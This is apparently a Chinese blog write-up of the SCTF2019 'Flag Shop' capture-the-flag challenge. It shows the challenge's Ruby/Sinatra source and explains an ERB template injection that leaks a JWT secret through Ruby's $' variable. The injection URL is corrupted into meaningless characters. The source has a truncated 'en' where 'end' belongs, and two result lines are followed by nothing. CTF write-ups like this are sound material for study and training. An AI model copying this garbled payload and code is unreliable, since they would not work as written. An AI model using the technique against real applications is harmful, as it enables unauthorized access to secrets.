[SCTF2019]Flag Shop

SCTF2019Flag Shop

解题

  1. 使用robots.txt,看到/static/secretkey.txt,但是源码在filebak中,不知道为什么

    ruby 复制代码
    require 'sinatra'
    require 'sinatra/cookies'
    require 'sinatra/json'
    require 'jwt'
    require 'securerandom'
    require 'erb'
    
    set :public_folder, File.dirname(__FILE__) + '/static'
    
    FLAGPRICE = 1000000000000000000000000000
    ENV["SECRET"] = SecureRandom.hex(64)
    
    configure do
      enable :logging
      file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
      file.sync = true
      use Rack::CommonLogger, file
    end
    
    get "/" do
      redirect '/shop', 302
    end
    
    get "/filebak" do
      content_type :text
      erb IO.binread __FILE__
    end
    
    get "/api/auth" do
      payload = { uid: SecureRandom.uuid , jkl: 20}
      auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
      cookies[:auth] = auth
    end
    
    get "/api/info" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
    end
    
    get "/shop" do
      erb :shop
    end
    
    get "/work" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      auth = auth[0]
      unless params[:SECRET].nil?
        if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
          puts ENV["FLAG"]
        end
      end
    
      if params[:do] == "#{params[:name][0,7]} is working" then
    
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
    
      end
    end
    
    post "/shop" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
    
      if auth[0]["jkl"] < FLAGPRICE then
    
        json({title: "error",message: "no enough jkl"})
      else
    
        auth << {flag: ENV["FLAG"]}
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        json({title: "success",message: "jkl is good thing"})
      end
    end
    
    
    def islogin
      if cookies[:auth].nil? then
        redirect to('/shop')
      en
    end
  2. 语法为Ruby的语法所以思路为Ruby模版注入。

    ruby 复制代码
      if params[:do] == "#{params[:name][0,7]} is working" then
     
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

    发现secret的输出方式,其中ruby预定义变量里,在$'后会最后一次匹配字符串,所以进入代码后is working不被ruby代码解析,然后使用ERB模版进行注入。

    所以传入/work?SECRET=&name=<%= ′ '%>&do=<%= ′'%>is working

    得到:

    构造后,

将jwt解码得到flag

相关推荐
飞翔中文网5 分钟前
Java学习笔记之反射
java·笔记·学习
知南x41 分钟前
【DPDK核心知识了解】(2) 内核旁路与硬件交互
学习
零陵上将军_xdr1 小时前
后端转全栈学习-Day4-JavaScript 基础-2
开发语言·javascript·学习
以太浮标1 小时前
华为eNSP模拟器综合实验之- 路由黑洞场景解析及实验
运维·网络·网络协议·网络安全·华为·智能路由器·信息与通信
一楼的猫1 小时前
叙事指纹93.2%的技术确认与AI写作同质化——网文创作的差异化路径分析
人工智能·学习·机器学习·写作·ai写作
red_redemption1 小时前
自由学习记录(199)
学习·dram 二線廠商·git partclone·4y halving 減半·3.125btc·手續費 sat/vb
m0_738120722 小时前
渗透测试基础——一文详解JSONP跨域劫持漏洞原理与利用
服务器·安全·web安全·json
SmileAndFun2 小时前
收到安全通报后,如何划分责任做存证溯源?
安全·网络安全·渗透测试·等保测评·溯源取证·监管通报·电子存证
拾光向日葵2 小时前
江西物理类本科线上30—50分,能报南昌科技职业大学本科专业吗?
学习·其他
AI_零食2 小时前
健身室器材管理系统鸿蒙PC Electron框架编写深度解析
前端·javascript·学习·华为·electron·前端框架·鸿蒙